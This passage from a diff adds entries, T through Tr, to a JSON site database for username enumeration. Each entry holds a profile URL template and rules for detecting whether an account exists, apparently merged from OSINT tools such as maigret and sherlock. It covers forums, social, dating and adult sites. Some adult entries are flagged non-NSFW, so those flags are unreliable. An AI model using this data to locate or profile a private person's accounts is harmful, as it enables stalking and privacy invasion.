"other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find something else.", + "match_string": "Posts By" + }, + { + "name": "Thechive", + "url": "https://thechive.com/author/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "THEcommunity", + "url": "https://thecommunity.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thedaftclub", + "url": "https://www.thedaftclub.com/forum/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Thefastdiet", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, " + }, + { + "name": "TheFastlaneForum", + "url": "https://www.thefastlaneforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thefastlaneforum", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Thefirearmsforum", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Thegatewaypundit", + "url": "https://www.thegatewaypundit.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops! That page can\u2019t be found.", + "match_string": "avatar avatar-50 photo" + }, + { + "name": "TheGuardian", + "url": "https://profile.theguardian.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>public profile | Identity | The Guardian" + }, + { + "name": "theguardian", + "url": "https://www.theguardian.com/profile/{}", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page Not Found | The Guardian", + "match_code": 200, + "match_string": "

    " + }, + { + "name": "thehackerworld", + "url": "https://www.thehackerworld.com/profile/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Theinfosphere", + "url": "https://theinfosphere.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "thelike.ru", + "url": "http://thelike.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thelion", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We are sorry but the following error has occurred." + }, + { + "name": "ThemeForest", + "url": "https://themeforest.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TheMovieDB", + "url": "https://www.themoviedb.org/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thenextweb", + "url": "https://thenextweb.com/author/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "TheOdysseyOnline", + "url": "https://www.theodysseyonline.com/user/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theoutlander", + "url": "http://theoutlander.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Thephysicsforum", + "url": "https://www.thephysicsforum.com/members/{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Theplenty", + "url": "https://theplenty.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "theprodigy", + "url": "https://forum.theprodigy.ru/index.php?board=13&action=viewprofile&user={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u0447\u0435\u0439 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0432\u044b \u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "TheSimsResource", + "url": "https://www.thesimsresource.com/members/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Thesimsresource", + "url": "https://www.thesimsresource.com/artists/{}/", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Thesimsresource", + "url": "https://thesimsresource.com/members/{}/", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile-name" + }, + { + "name": "TheStudentRoom", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thetattooforum", + "url": "https://www.thetattooforum.com/members/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We\u2019re sorry", + "match_string": "Insert This Gallery" + }, + { + "name": "theturboforums.com", + "url": "https://www.theturboforums.com/forums//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thevampirediaries", + "url": "http://thevampirediaries.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TheVerge", + "url": "https://www.theverge.com/users/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theverge", + "url": "https://theverge.com/users/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not found", + "match_string": "-user-" + }, + { + "name": "theverge", + "url": "https://www.theverge.com/authors/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "TheVillage.ru", + "url": "https://www.the-village.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The Village: \u043e\u0448\u0438\u0431\u043a\u0430 404, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "Thewatchforum", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Theweedtube", + "url": "https://theweedtube.com/user/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profileUserName" + }, + { + "name": "thewholesaleforums.co.uk", + "url": "http://www.thewholesaleforums.co.uk//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thingiverse", + "url": "https://www.thingiverse.com/{}/designs", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thinkwiki.org", + "url": "https://thinkwiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thlaspi", + "url": "https://thlaspi.com/en/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thoughts", + "url": "https://thoughts.com/members/{}/", + "category": "forum", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "<span class=\"activity" + }, + { + "name": "thoughts.com", + "url": "http://thoughts.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found", + "match_string": "user-activity" + }, + { + "name": "threads", + "url": "https://www.threads.net/@{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Threads \u2022 Log in" + }, + { + "name": "Threads", + "url": "https://www.threads.com/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Threads" + }, + { + "name": "threatpost", + "url": "https://threatpost.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Tiendanube", + "url": "https://{}.mitiendanube.com/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tigerfan.com", + "url": "http://www.tigerfan.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tik.Porn", + "url": "https://tik.porn/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Page Not Found | Tik.Porn", + "match_string": "
    Views
    " + }, + { + "name": "tikbuddy.com", + "url": "https://tikbuddy.com/en/tiktok/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "nickName" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "serverCode\":404", + "match_string": "\"nickname\":" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/oembed?url=https://www.tiktok.com/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "Something went wrong", + "match_code": 200, + "match_string": "author_url" + }, + { + "name": "TikTok", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tiktok", + "url": "https://tiktok.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Couldn't find this account", + "match_string": "sign-sg.tiktokcdn.com" + }, + { + "name": "TikTok Online Viewer", + "url": "https://ttonlineviewer.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not Found - TTonlineviewer" + }, + { + "name": "Tilde.zone (Mastodon Instance)", + "url": "https://tilde.zone/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Tildes", + "url": "https://tildes.net/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "timich.ru", + "url": "http://timich.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tinder", + "url": "https://www.tinder.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "twitter:title\" content=\"Tinder |" + }, + { + "name": "Tinder", + "url": "https://tinder.com/@{}", + "category": "dating", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Tinder | Dating, Make Friends & Meet New People", + "match_code": 200, + "match_string": ") | Tinder" + }, + { + "name": "Tinkoff Invest", + "url": "https://tinkoff.ru/invest/social/profile/{}/", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "ProductError", + "match_string": "ProfileHeader__nickname" + }, + { + "name": "Tinkoff_Invest", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "category": "finance", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "NoneNone" + }, + { + "name": "TipeeeStream", + "url": "https://www.tipeeestream.com/v3.0/pages/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"message\":\"Not found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Tise", + "url": "https://tise.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile?p={username}" + }, + { + "name": "tistory", + "url": "https://{}.tistory.com/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tiwall", + "url": "https://tiwall.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"user\"" + }, + { + "name": "TJournal", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + }, + { + "name": "Tkgr", + "url": "http://tkgr.ru/forum/member/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tks", + "url": "https://forum.tks.ru//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tl", + "url": "https://tl.net/forum/profile.php?user={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tldrlegal.com", + "url": "https://tldrlegal.com/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found - TLDRLegal", + "match_string": "s Profile - TLDRLegal" + }, + { + "name": "tlgrm.pro", + "url": "http://tlgrm.pro/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tmbw", + "url": "https://tmbw.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tmk.3dn.ru", + "url": "http://tmk.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tnaflix", + "url": "https://tnaflix.com/profile/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "looking for is lost somewhere", + "match_string": "userProfileHeader" + }, + { + "name": "Tokopedia", + "url": "https://tokopedia.com/{}", + "category": "shopping", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"{username}\"" + }, + { + "name": "tokyvideo.com", + "url": "https://tokyvideo.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tolkiengateway", + "url": "https://tolkiengateway.net/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Tolyatty", + "url": "http://tolyatty.net/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tom's guide", + "url": "http://forums.tomsguide.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tom.do.am", + "url": "http://tom.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TomsHardware", + "url": "https://forums.tomshardware.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Tomtom", + "url": "https://discussions.tomtom.com/en/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "toneto.ucoz.ru", + "url": "http://toneto.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toot_mstd", + "url": "https://toot.cat/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tooting.ch (Mastodon Instance)", + "url": "https://tooting.ch/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "top10allservers.ucoz.ru", + "url": "http://top10allservers.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcheats", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "topcheats.ucoz.com", + "url": "http://topcheats.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcoder", + "url": "https://profiles.topcoder.com/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topcoder", + "url": "https://api.topcoder.com/v5/members/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"message\":\"Member with handle:", + "match_code": 200, + "match_string": "\"userId\":" + }, + { + "name": "Topdb", + "url": "https://topdb.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Topmate", + "url": "https://topmate.io/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "topreklama.ucoz.com", + "url": "http://topreklama.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Topwar", + "url": "https://topwar.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Torrent-soft", + "url": "https://torrent-soft.net/user/{}/", + "category": "torrent", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "torrents-igra.ucoz.ru", + "url": "http://torrents-igra.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "torworld.at.ua", + "url": "http://torworld.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toster", + "url": "https://qna.habr.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "toster", + "url": "https://www.toster.ru/user/{}/answers", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TotalStavki", + "url": "https://totalstavki.ru/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "TotalWar", + "url": "https://forums.totalwar.com/profile/{}", + "category": "gaming", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not Found", + "match_code": 200, + "match_string": "Total War Forums" + }, + { + "name": "Totseans", + "url": "http://www.totseans.com/bbs/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tottenhamhotspur", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Touristlink", + "url": "https://www.touristlink.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Members across the World" + }, + { + "name": "Tourney", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "tovyanskaya.at.ua", + "url": "http://tovyanskaya.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toxicbun", + "url": "https://toxicbun.com/@{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "toyhou.se", + "url": "https://toyhou.se/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "We can't find that page!", + "match_code": 200, + "match_string": "display-user" + }, + { + "name": "toys22.ru", + "url": "http://toys22.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Toyster", + "url": "https://toyster.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Tproger", + "url": "https://tproger.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404", + "match_string": "<meta property=\"og:url\" content=\"https://tproger.ru/author/" + }, + { + "name": "track", + "url": "https://bbs.zkaq.cn/u/{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "TrackmaniaLadder", + "url": "http://en.tm-ladder.com/{}_rech.php", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "player unknown or invalid" + }, + { + "name": "tracr.co", + "url": "https://tracr.co/users/1/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No search results" + }, + { + "name": "Tradestories", + "url": "https://tradestories.pt/user/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-info" + }, + { + "name": "TradingView", + "url": "https://www.tradingview.com/u/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found \u2014 TradingView", + "match_string": "tv-profile" + }, + { + "name": "TradingView", + "url": "https://www.tradingview.com/u/{}/", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tradingview", + "url": "https://tradingview.com/u/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "that page doesn", + "match_string": "data-username" + }, + { + "name": "Trailville", + "url": "https://trailville.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "trailville.com", + "url": "https://www.trailville.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "wgRelevantUserName" + }, + { + "name": "trainmodels.at.ua", + "url": "http://trainmodels.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trainsim", + "url": "https://www.trainsim.com//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trainsim", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "trainz-vl.ucoz.ru", + "url": "http://trainz-vl.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trakt", + "url": "https://www.trakt.tv/users/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "trakt", + "url": "https://trakt.tv/users/{}", + "category": "video", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you were looking for doesn't exist (404) - Trakt.tv", + "match_code": 200, + "match_string": "s profile - Trakt" + }, + { + "name": "Traktrain", + "url": "https://traktrain.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tranny Videosx", + "url": "https://trannyvideosx.com/user/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Error", + "match_string": "Last Login:" + }, + { + "name": "transit-club.com", + "url": "http://transit-club.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Translatewiki", + "url": "https://translatewiki.net/wiki/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TRASHBOX.RU", + "url": "https://trashbox.ru/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 \u2014 Not found" + }, + { + "name": "Travelblog", + "url": "https://www.travelblog.org/Bloggers/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Travelfish", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Private or invalid" + }, + { + "name": "TravellersPoint", + "url": "https://www.travellerspoint.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Wooops. Sorry!" + }, + { + "name": "Travellerspoint", + "url": "https://www.travellerspoint.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Travellerspoint", + "url": "https://travellerspoint.com/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "404 Not Found", + "match_string": "nickname" + }, + { + "name": "Travis", + "url": "https://travis-ci.community/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trawelling", + "url": "https://traewelling.de/@{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "trays.ucoz.net", + "url": "http://trays.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trello", + "url": "https://trello.com/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "model not found" + }, + { + "name": "Trello", + "url": "https://trello.com/1/Members/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    Oh no! 404!

    ", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Trello", + "url": "https://trello.com/1/Members/{}?fields=activityBlocked%2CavatarUrl%2Cbio%2CbioData%2Cconfirmed%2CfullName%2CidEnterprise%2CidMemberReferrer%2Cinitials%2CmemberType%2CnonPublic%2Cproducts%2Curl%2Cusername", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oh no! 404!", + "match_code": 200, + "match_string": "avatarUrl" + }, + { + "name": "Trello", + "url": "https://trello.com/{}/activity", + "category": "tech", + "source": "nexfil", + "nsfw": false + }, + { + "name": "trepup.com", + "url": "https://trepup.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Trictrac", + "url": "https://www.trictrac.net/mur/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Trilife", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e" + }, + { + "name": "Trinixy", + "url": "https://trinixy.ru/user/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TripAdvisor", + "url": "https://tripadvisor.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This page is on vacation\u2026" + }, + { + "name": "tripadvisor", + "url": "https://www.tripadvisor.com/Profile/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This page is on vacation", + "match_code": 200, + "match_string": "Contributions" + }, + { + "name": "tripit.com", + "url": "https://tripit.com/people/{}#/profile/basic-info", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripline", + "url": "https://www.tripline.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripoto", + "url": "https://www.tripoto.com/profile/{}", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tripster", + "url": "https://tripster.ru/{}/", + "category": "other", + 